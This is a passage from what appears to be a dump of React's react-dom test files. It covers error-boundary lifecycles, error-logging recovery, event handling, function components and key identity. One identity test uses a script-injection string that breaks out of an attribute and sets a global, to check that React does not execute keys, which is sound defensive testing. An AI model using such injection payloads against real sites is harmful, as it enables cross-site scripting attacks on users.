'BrokenComponentDidUpdate componentDidUpdate [!]',\n      'InnerUpdateBoundary componentDidUpdate',\n      'OuterErrorBoundary componentDidUpdate',\n      // After the commit phase, attempt to recover from any errors that\n      // were captured\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary static getDerivedStateFromError',\n      'InnerUnmountBoundary componentWillUpdate',\n      'InnerUnmountBoundary render error',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary static getDerivedStateFromError',\n      'InnerUpdateBoundary componentWillUpdate',\n      'InnerUpdateBoundary render error',\n      'BrokenComponentDidUpdate componentWillUnmount',\n      'BrokenComponentDidUpdate componentWillUnmount',\n      'InnerUnmountBoundary componentDidUpdate',\n      'InnerUpdateBoundary componentDidUpdate',\n    ]);\n\n    root.unmount();\n    assertLog([\n      'OuterErrorBoundary componentWillUnmount',\n      'InnerUnmountBoundary componentWillUnmount',\n      'InnerUpdateBoundary componentWillUnmount',\n    ]);\n  });\n\n  it('discards a bad root if the root component fails', async () => {\n    const X = null;\n    const Y = undefined;\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(async () => {\n        root.render(<X />);\n      });\n    }).rejects.toThrow(\n      'Element type is invalid: ' +\n        'expected a string (for built-in components) or a ' +\n        'class/function (for composite components) but got: null.',\n    );\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(async () => {\n        root.render(<Y />);\n      });\n    }).rejects.toThrow(\n      'Element type is invalid: ' +\n        'expected a string (for built-in components) or a ' +\n        'class/function (for composite components) but got: undefined.',\n    );\n  });\n\n  it('renders empty output if error boundary does not handle the error', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await expect(async () => {\n      await act(async () => {\n        root.render(\n          <div>\n            Sibling\n            <NoopErrorBoundary>\n              <BrokenRender />\n            </NoopErrorBoundary>\n          </div>,\n        );\n      });\n    }).rejects.toThrow('Hello');\n\n    expect(container.innerHTML).toBe('');\n    assertLog([\n      'NoopErrorBoundary constructor',\n      'NoopErrorBoundary componentWillMount',\n      'NoopErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Noop error boundaries retry render (and fail again)\n      'NoopErrorBoundary static getDerivedStateFromError',\n      'NoopErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // logs for error retry\n      'NoopErrorBoundary constructor',\n      'NoopErrorBoundary componentWillMount',\n      'NoopErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'NoopErrorBoundary static getDerivedStateFromError',\n      'NoopErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n    ]);\n  });\n\n  it('passes an aggregate error when two errors happen in commit', async () => {\n    const errors = [];\n    let caughtError;\n    class Parent extends React.Component {\n      render() {\n        return <Child />;\n      }\n      componentDidMount() {\n        errors.push('parent sad');\n        throw new Error('parent sad');\n      }\n    }\n    class Child extends React.Component {\n      render() {\n        return <div />;\n      }\n      componentDidMount() {\n        errors.push('child sad');\n        throw new Error('child sad');\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    try {\n      // Here, we test the behavior where there is no error boundary and we\n      // delegate to the host root.\n      await act(async () => {\n        root.render(<Parent />);\n      });\n    } catch (e) {\n      caughtError = e;\n    }\n\n    expect(errors).toEqual(['child sad', 'parent sad']);\n    expect(caughtError.errors).toEqual([\n      expect.objectContaining({message: 'child sad'}),\n      expect.objectContaining({message: 'parent sad'}),\n    ]);\n  });\n\n  it('propagates uncaught error inside unbatched initial mount', async () => {\n    function Foo() {\n      throw new Error('foo error');\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await ReactDOM.unstable_batchedUpdates(async () => {\n        await act(async () => {\n          root.render(<Foo />);\n        });\n      });\n    }).rejects.toThrow('foo error');\n  });\n\n  it('handles errors that occur in before-mutation commit hook', async () => {\n    const errors = [];\n    let caughtError;\n    class Parent extends React.Component {\n      getSnapshotBeforeUpdate() {\n        errors.push('parent sad');\n        throw new Error('parent sad');\n      }\n      componentDidUpdate() {}\n      render() {\n        return <Child {...this.props} />;\n      }\n    }\n    class Child extends React.Component {\n      getSnapshotBeforeUpdate() {\n        errors.push('child sad');\n        throw new Error('child sad');\n      }\n      componentDidUpdate() {}\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Parent value={1} />);\n    });\n    try {\n      await act(async () => {\n        root.render(<Parent value={2} />);\n      });\n    } catch (e) {\n      caughtError = e;\n    }\n\n    expect(errors).toEqual(['child sad', 'parent sad']);\n    expect(caughtError.errors).toEqual([\n      expect.objectContaining({message: 'child sad'}),\n      expect.objectContaining({message: 'parent sad'}),\n    ]);\n  });\n\n  it('should warn if an error boundary with only componentDidCatch does not update state', async () => {\n    class InvalidErrorBoundary extends React.Component {\n      componentDidCatch(error, info) {\n        // This component does not define getDerivedStateFromError().\n        // It also doesn't call setState().\n        // So it would swallow errors (which is probably unintentional).\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    const Throws = () => {\n      throw new Error('expected');\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <InvalidErrorBoundary>\n          <Throws />\n        </InvalidErrorBoundary>,\n      );\n    });\n    assertConsoleErrorDev([\n      'InvalidErrorBoundary: Error boundaries should implement getDerivedStateFromError(). ' +\n        'In that method, return a state update to display an error message or fallback UI.\\n' +\n        '    in InvalidErrorBoundary (at **)',\n    ]);\n    expect(container.textContent).toBe('');\n  });\n\n  it('should call both componentDidCatch and getDerivedStateFromError if both exist on a component', async () => {\n    let componentDidCatchError, getDerivedStateFromErrorError;\n    class ErrorBoundaryWithBothMethods extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        getDerivedStateFromErrorError = error;\n        return {error};\n      }\n      componentDidCatch(error, info) {\n        componentDidCatchError = error;\n      }\n      render() {\n        return this.state.error ? 'ErrorBoundary' : this.props.children;\n      }\n    }\n\n    const thrownError = new Error('expected');\n    const Throws = () => {\n      throw thrownError;\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundaryWithBothMethods>\n          <Throws />\n        </ErrorBoundaryWithBothMethods>,\n      );\n    });\n    expect(container.textContent).toBe('ErrorBoundary');\n    expect(componentDidCatchError).toBe(thrownError);\n    expect(getDerivedStateFromErrorError).toBe(thrownError);\n  });\n\n  it('should catch errors from invariants in completion phase', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <input>\n            <div />\n          </input>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toContain(\n      'Caught an error: input is a void element tag',\n    );\n  });\n\n  it('should catch errors from errors in the throw phase from boundaries', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const thrownError = new Error('original error');\n    const Throws = () => {\n      throw thrownError;\n    };\n\n    class EvilErrorBoundary extends React.Component {\n      get componentDidCatch() {\n        throw new Error('gotta catch em all');\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <EvilErrorBoundary>\n            <Throws />\n          </EvilErrorBoundary>\n        </ErrorBoundary>,\n      );\n    });\n\n    expect(container.textContent).toContain(\n      'Caught an error: gotta catch em all',\n    );\n  });\n\n  it('should protect errors from errors in the stack generation', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const evilError = {\n      message: 'gotta catch em all',\n      get stack() {\n        throw new Error('gotta catch em all');\n      },\n    };\n    const Throws = () => {\n      throw evilError;\n    };\n    Object.defineProperty(Throws, 'displayName', {\n      get: function () {\n        throw new Error('gotta catch em all');\n      },\n    });\n\n    function Wrapper() {\n      return <Throws />;\n    }\n\n    await expect(async () => {\n      await act(async () => {\n        root.render(\n          <ErrorBoundary>\n            <Wrapper />\n          </ErrorBoundary>,\n        );\n      });\n    }).rejects.toThrow('gotta catch em all');\n\n    expect(container.textContent).toContain(\n      'Caught an error: gotta catch em all.',\n    );\n  });\n\n  it('catches errors thrown in componentWillUnmount', async () => {\n    class LocalErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        Scheduler.log(`ErrorBoundary static getDerivedStateFromError`);\n        return {error};\n      }\n      render() {\n        const {children, id, fallbackID} = this.props;\n        const {error} = this.state;\n        if (error) {\n          Scheduler.log(`${id} render error`);\n          return <Component id={fallbackID} />;\n        }\n        Scheduler.log(`${id} render success`);\n        return children || null;\n      }\n    }\n\n    class Component extends React.Component {\n      render() {\n        const {id} = this.props;\n        Scheduler.log('Component render ' + id);\n        return id;\n      }\n    }\n\n    class LocalBrokenComponentWillUnmount extends React.Component {\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentWillUnmount componentWillUnmount');\n        throw Error('Expected');\n      }\n\n      render() {\n        Scheduler.log('BrokenComponentWillUnmount render');\n        return 'broken';\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(async () => {\n      root.render(\n        <LocalErrorBoundary id=\"OuterBoundary\" fallbackID=\"OuterFallback\">\n          <Component id=\"sibling\" />\n          <LocalErrorBoundary id=\"InnerBoundary\" fallbackID=\"InnerFallback\">\n            <LocalBrokenComponentWillUnmount />\n          </LocalErrorBoundary>\n        </LocalErrorBoundary>,\n      );\n    });\n\n    expect(container.firstChild.textContent).toBe('sibling');\n    expect(container.lastChild.textContent).toBe('broken');\n    assertLog([\n      'OuterBoundary render success',\n      'Component render sibling',\n      'InnerBoundary render success',\n      'BrokenComponentWillUnmount render',\n    ]);\n\n    await act(async () => {\n      root.render(\n        <LocalErrorBoundary id=\"OuterBoundary\" fallbackID=\"OuterFallback\">\n          <Component id=\"sibling\" />\n        </LocalErrorBoundary>,\n      );\n    });\n\n    // React should skip over the unmounting boundary and find the nearest still-mounted boundary.\n    expect(container.firstChild.textContent).toBe('OuterFallback');\n    expect(container.lastChild.textContent).toBe('OuterFallback');\n    assertLog([\n      'OuterBoundary render success',\n      'Component render sibling',\n      'BrokenComponentWillUnmount componentWillUnmount',\n      'ErrorBoundary static getDerivedStateFromError',\n      'OuterBoundary render error',\n      'Component render OuterFallback',\n    ]);\n  });\n\n  it('catches errors thrown while detaching refs', async () => {\n    class LocalErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        Scheduler.log(`ErrorBoundary static getDerivedStateFromError`);\n        return {error};\n      }\n      render() {\n        const {children, id, fallbackID} = this.props;\n        const {error} = this.state;\n        if (error) {\n          Scheduler.log(`${id} render error`);\n          return <Component id={fallbackID} />;\n        }\n        Scheduler.log(`${id} render success`);\n        return children || null;\n      }\n    }\n\n    class Component extends React.Component {\n      render() {\n        const {id} = this.props;\n        Scheduler.log('Component render ' + id);\n        return id;\n      }\n    }\n\n    class LocalBrokenCallbackRef extends React.Component {\n      _ref = ref => {\n        Scheduler.log('LocalBrokenCallbackRef ref ' + !!ref);\n        if (ref === null) {\n          throw Error('Expected');\n        }\n      };\n\n      render() {\n        Scheduler.log('LocalBrokenCallbackRef render');\n        return <div ref={this._ref}>ref</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(async () => {\n      root.render(\n        <LocalErrorBoundary id=\"OuterBoundary\" fallbackID=\"OuterFallback\">\n          <Component id=\"sibling\" />\n          <LocalErrorBoundary id=\"InnerBoundary\" fallbackID=\"InnerFallback\">\n            <LocalBrokenCallbackRef />\n          </LocalErrorBoundary>\n        </LocalErrorBoundary>,\n      );\n    });\n\n    expect(container.firstChild.textContent).toBe('sibling');\n    expect(container.lastChild.textContent).toBe('ref');\n    assertLog([\n      'OuterBoundary render success',\n      'Component render sibling',\n      'InnerBoundary render success',\n      'LocalBrokenCallbackRef render',\n      'LocalBrokenCallbackRef ref true',\n    ]);\n\n    await act(async () => {\n      root.render(\n        <LocalErrorBoundary id=\"OuterBoundary\" fallbackID=\"OuterFallback\">\n          <Component id=\"sibling\" />\n        </LocalErrorBoundary>,\n      );\n    });\n\n    // React should skip over the unmounting boundary and find the nearest still-mounted boundary.\n    expect(container.firstChild.textContent).toBe('OuterFallback');\n    expect(container.lastChild.textContent).toBe('OuterFallback');\n    assertLog([\n      'OuterBoundary render success',\n      'Component render sibling',\n      'LocalBrokenCallbackRef ref false',\n      'ErrorBoundary static getDerivedStateFromError',\n      'OuterBoundary render error',\n      'Component render OuterFallback',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactErrorBoundariesHooks-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('ReactErrorBoundariesHooks', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  it('should preserve hook order if errors are caught', async () => {\n    function ErrorThrower() {\n      React.useMemo(() => undefined, []);\n      throw new Error('expected');\n    }\n\n    function StatefulComponent() {\n      React.useState(null);\n      return ' | stateful';\n    }\n\n    class ErrorHandler extends React.Component {\n      state = {error: null};\n\n      componentDidCatch(error) {\n        return this.setState({error});\n      }\n\n      render() {\n        if (this.state.error !== null) {\n          return <p>Handled error: {this.state.error.message}</p>;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App(props) {\n      return (\n        <React.Fragment>\n          <ErrorHandler>\n            <ErrorThrower />\n          </ErrorHandler>\n          <StatefulComponent />\n        </React.Fragment>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    await expect(\n      act(() => {\n        root.render(<App />);\n      }),\n    ).resolves.not.toThrow();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactErrorLoggingRecovery-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n// This is a regression test for https://github.com/facebook/react/issues/13188.\n// It reproduces a combination of conditions that led to a problem.\n\nif (global.window) {\n  throw new Error('This test must run in a Node environment.');\n}\n\n// The issue only reproduced when React was loaded before JSDOM.\nconst React = require('react');\nconst ReactDOMClient = require('react-dom/client');\nconst Scheduler = require('scheduler');\n\n// Initialize JSDOM separately.\n// We don't use our normal JSDOM setup because we want to load React first.\nconst {JSDOM} = require('jsdom');\nglobal.requestAnimationFrame = setTimeout;\nglobal.cancelAnimationFrame = clearTimeout;\nconst jsdom = new JSDOM(`<div id=\"app-root\"></div>`);\nglobal.window = jsdom.window;\nglobal.document = jsdom.window.document;\nglobal.navigator = jsdom.window.navigator;\n\nclass Bad extends React.Component {\n  componentDidUpdate() {\n    throw new Error('no');\n  }\n  render() {\n    return null;\n  }\n}\n\nasync function fakeAct(cb) {\n  // We don't use act/waitForThrow here because we want to observe how errors are reported for real.\n  await cb();\n  Scheduler.unstable_flushAll();\n}\n\ndescribe('ReactErrorLoggingRecovery', () => {\n  const originalConsoleError = console.error;\n\n  beforeEach(() => {\n    console.error = error => {\n      throw new Error('Buggy console.error');\n    };\n  });\n\n  afterEach(() => {\n    console.error = originalConsoleError;\n  });\n\n  it('should recover from errors in console.error', async function () {\n    const div = document.createElement('div');\n    const root = ReactDOMClient.createRoot(div);\n    await fakeAct(() => {\n      root.render(<Bad />);\n    });\n    await fakeAct(() => {\n      root.render(<Bad />);\n    });\n\n    expect(() => jest.runAllTimers()).toThrow('');\n\n    await fakeAct(() => {\n      root.render(<span>Hello</span>);\n    });\n    expect(div.firstChild.textContent).toBe('Hello');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactEventIndependence-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('ReactEventIndependence', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  it('does not crash with other react inside', async () => {\n    let clicks = 0;\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n    try {\n      await act(() => {\n        root.render(\n          <div\n            onClick={() => clicks++}\n            dangerouslySetInnerHTML={{\n              __html: '<button data-reactid=\".z\">click me</div>',\n            }}\n          />,\n        );\n      });\n\n      container.firstElementChild.click();\n      expect(clicks).toBe(1);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('does not crash with other react outside', async () => {\n    let clicks = 0;\n    const outer = document.createElement('div');\n    document.body.appendChild(outer);\n    const root = ReactDOMClient.createRoot(outer);\n    try {\n      outer.setAttribute('data-reactid', '.z');\n      await act(() => {\n        root.render(<button onClick={() => clicks++}>click me</button>);\n      });\n      outer.firstElementChild.click();\n      expect(clicks).toBe(1);\n    } finally {\n      document.body.removeChild(outer);\n    }\n  });\n\n  it('does not when event fired on unmounted tree', async () => {\n    let clicks = 0;\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<button onClick={() => clicks++}>click me</button>);\n      });\n\n      const button = container.firstChild;\n\n      // Now we unmount the component, as if caused by a non-React event handler\n      // for the same click we're about to simulate, like closing a layer:\n      root.unmount();\n      button.click();\n\n      // Since the tree is unmounted, we don't dispatch the click event.\n      expect(clicks).toBe(0);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactFunctionComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet PropTypes;\nlet React;\nlet ReactDOMClient;\nlet act;\nlet assertConsoleErrorDev;\n\nfunction FunctionComponent(props) {\n  return <div>{props.name}</div>;\n}\n\ndescribe('ReactFunctionComponent', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    PropTypes = require('prop-types');\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  it('should render stateless component', async () => {\n    const el = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(el);\n    await act(() => {\n      root.render(<FunctionComponent name=\"A\" />);\n    });\n\n    expect(el.textContent).toBe('A');\n  });\n\n  it('should update stateless component', async () => {\n    class Parent extends React.Component {\n      render() {\n        return <FunctionComponent {...this.props} />;\n      }\n    }\n\n    const el = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(el);\n    await act(() => {\n      root.render(<Parent name=\"A\" />);\n    });\n    expect(el.textContent).toBe('A');\n\n    await act(() => {\n      root.render(<Parent name=\"B\" />);\n    });\n    expect(el.textContent).toBe('B');\n  });\n\n  it('should unmount stateless component', async () => {\n    const container = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<FunctionComponent name=\"A\" />);\n    });\n    expect(container.textContent).toBe('A');\n\n    root.unmount();\n    expect(container.textContent).toBe('');\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass context thru stateless component', async () => {\n    class Child extends React.Component {\n      static contextTypes = {\n        test: PropTypes.string.isRequired,\n      };\n\n      render() {\n        return <div>{this.context.test}</div>;\n      }\n    }\n\n    function Parent() {\n      return <Child />;\n    }\n\n    class GrandParent extends React.Component {\n      static childContextTypes = {\n        test: PropTypes.string.isRequired,\n      };\n\n      getChildContext() {\n        return {test: this.props.test};\n      }\n\n      render() {\n        return <Parent />;\n      }\n    }\n\n    const el = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(el);\n    await act(() => {\n      root.render(<GrandParent test=\"test\" />);\n    });\n\n    assertConsoleErrorDev([\n      'GrandParent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in GrandParent (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)\\n' +\n        '    in GrandParent (at **)',\n    ]);\n\n    expect(el.textContent).toBe('test');\n\n    await act(() => {\n      root.render(<GrandParent test=\"mest\" />);\n    });\n\n    expect(el.textContent).toBe('mest');\n  });\n\n  it('should warn for getDerivedStateFromProps on a function component', async () => {\n    function FunctionComponentWithChildContext() {\n      return null;\n    }\n    FunctionComponentWithChildContext.getDerivedStateFromProps = function () {};\n\n    const container = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<FunctionComponentWithChildContext />);\n    });\n    assertConsoleErrorDev([\n      'FunctionComponentWithChildContext: Function ' +\n        'components do not support getDerivedStateFromProps.\\n' +\n        '    in FunctionComponentWithChildContext (at **)',\n    ]);\n  });\n\n  it('should warn for childContextTypes on a function component', async () => {\n    function FunctionComponentWithChildContext(props) {\n      return <div>{props.name}</div>;\n    }\n\n    FunctionComponentWithChildContext.childContextTypes = {\n      foo: PropTypes.string,\n    };\n\n    const container = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<FunctionComponentWithChildContext name=\"A\" />);\n    });\n    assertConsoleErrorDev([\n      'childContextTypes cannot ' +\n        'be defined on a function component.\\n' +\n        '  FunctionComponentWithChildContext.childContextTypes = ...\\n' +\n        '    in FunctionComponentWithChildContext (at **)',\n    ]);\n  });\n\n  it('should not throw when stateless component returns undefined', async () => {\n    function NotAComponent() {}\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(\n          <div>\n            <NotAComponent />\n          </div>,\n        );\n      }),\n    ).resolves.not.toThrowError();\n  });\n\n  it('should use correct name in key warning', async () => {\n    function Child() {\n      return <div>{[<span />]}</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Child />);\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n' +\n        '\\n' +\n        'Check the render method of `Child`. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in Child (at **)',\n    ]);\n  });\n\n  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents\n  it('should receive context', async () => {\n    class Parent extends React.Component {\n      static childContextTypes = {\n        lang: PropTypes.string,\n      };\n\n      getChildContext() {\n        return {lang: 'en'};\n      }\n\n      render() {\n        return <Child />;\n      }\n    }\n\n    function Child(props, context) {\n      return <div>{context.lang}</div>;\n    }\n    Child.contextTypes = {lang: PropTypes.string};\n\n    const el = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(el);\n    await act(() => {\n      root.render(<Parent />);\n    });\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Child uses the legacy contextTypes API which will be removed soon. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n    ]);\n    expect(el.textContent).toBe('en');\n  });\n\n  it('should work with arrow functions', async () => {\n    let Child = function () {\n      return <div />;\n    };\n    // Will create a new bound function without a prototype, much like a native\n    // arrow function.\n    Child = Child.bind(this);\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Child />);\n      });\n    }).not.toThrow();\n  });\n\n  it('should allow simple functions to return null', async () => {\n    const Child = function () {\n      return null;\n    };\n    await expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Child />);\n      });\n    }).not.toThrow();\n  });\n\n  it('should allow simple functions to return false', async () => {\n    function Child() {\n      return false;\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<Child />);\n      }),\n    ).resolves.not.toThrow();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactIdentity-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactIdentity', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  it('should allow key property to express identity', async () => {\n    let node;\n    const Component = props => (\n      <div ref={c => (node = c)}>\n        <div key={props.swap ? 'banana' : 'apple'} />\n        <div key={props.swap ? 'apple' : 'banana'} />\n      </div>\n    );\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Component />);\n    });\n    const origChildren = Array.from(node.childNodes);\n    await act(async () => {\n      root.render(<Component swap={true} />);\n    });\n    const newChildren = Array.from(node.childNodes);\n    expect(origChildren[0]).toBe(newChildren[1]);\n    expect(origChildren[1]).toBe(newChildren[0]);\n  });\n\n  it('should use composite identity', async () => {\n    class Wrapper extends React.Component {\n      render() {\n        return <a>{this.props.children}</a>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let node1;\n    let node2;\n    await act(async () => {\n      root.render(\n        <Wrapper key=\"wrap1\">\n          <span ref={c => (node1 = c)} />\n        </Wrapper>,\n      );\n    });\n    await act(async () => {\n      root.render(\n        <Wrapper key=\"wrap2\">\n          <span ref={c => (node2 = c)} />\n        </Wrapper>,\n      );\n    });\n    expect(node1).not.toBe(node2);\n  });\n\n  async function renderAComponentWithKeyIntoContainer(key, root) {\n    class Wrapper extends React.Component {\n      spanRef = React.createRef();\n      render() {\n        return (\n          <div>\n            <span ref={this.spanRef} key={key} />\n          </div>\n        );\n      }\n    }\n    const wrapperRef = React.createRef();\n    await act(async () => {\n      root.render(<Wrapper ref={wrapperRef} />);\n    });\n    const span = wrapperRef.current.spanRef.current;\n    expect(span).not.toBe(null);\n  }\n\n  it('should allow any character as a key, in a detached parent', async () => {\n    const detachedContainer = document.createElement('div');\n    const root = ReactDOMClient.createRoot(detachedContainer);\n    await renderAComponentWithKeyIntoContainer(\"<'WEIRD/&\\\\key'>\", root);\n  });\n\n  it('should allow any character as a key, in an attached parent', async () => {\n    // This test exists to protect against implementation details that\n    // incorrectly query escaped IDs using DOM tools like getElementById.\n    const attachedContainer = document.createElement('div');\n    const root = ReactDOMClient.createRoot(attachedContainer);\n    document.body.appendChild(attachedContainer);\n\n    await renderAComponentWithKeyIntoContainer(\"<'WEIRD/&\\\\key'>\", root);\n\n    document.body.removeChild(attachedContainer);\n  });\n\n  it('should not allow scripts in keys to execute', async () => {\n    const h4x0rKey =\n      '\"><script>window[\\'YOUVEBEENH4X0RED\\']=true;</script><div id=\"';\n\n    const attachedContainer = document.createElement('div');\n    const root = ReactDOMClient.createRoot(attachedContainer);\n    document.body.appendChild(attachedContainer);\n\n    await renderAComponentWithKeyIntoContainer(h4x0rKey, root);\n\n    document.body.removeChild(attachedContainer);\n\n    // If we get this far, make sure we haven't executed the code\n    expect(window.YOUVEBEENH4X0RED).toBe(undefined);\n  });\n\n  it('should let restructured components retain their uniqueness', async () => {\n    const instance0 = <span />;\n    const instance1 = <span />;\n    const instance2 = <span />;\n\n    class TestComponent extends React.Component {\n      render() {\n        return (\n          <div>\n            {instance2}\n            {this.props.children[0]}\n            {this.props.children[1]}\n          </div>\n        );\n      }\n    }\n\n    class TestContainer extends React.Component {\n      render() {\n        return (\n          <TestComponent>\n            {instance0}\n            {instance1}\n          </TestComponent>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<TestContainer />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should let nested restructures retain their uniqueness', async () => {\n    const instance0 = <span />;\n    const instance1 = <span />;\n    const instance2 = <span />;\n\n    class TestComponent extends React.Component {\n      render() {\n        return (\n          <div>\n            {instance2}\n            {this.props.children[0]}\n            {this.props.children[1]}\n          </div>\n        );\n      }\n    }\n\n    class TestContainer extends React.Component {\n      render() {\n        return (\n          <div>\n            <TestComponent>\n              {instance0}\n              {instance1}\n            </TestComponent>\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        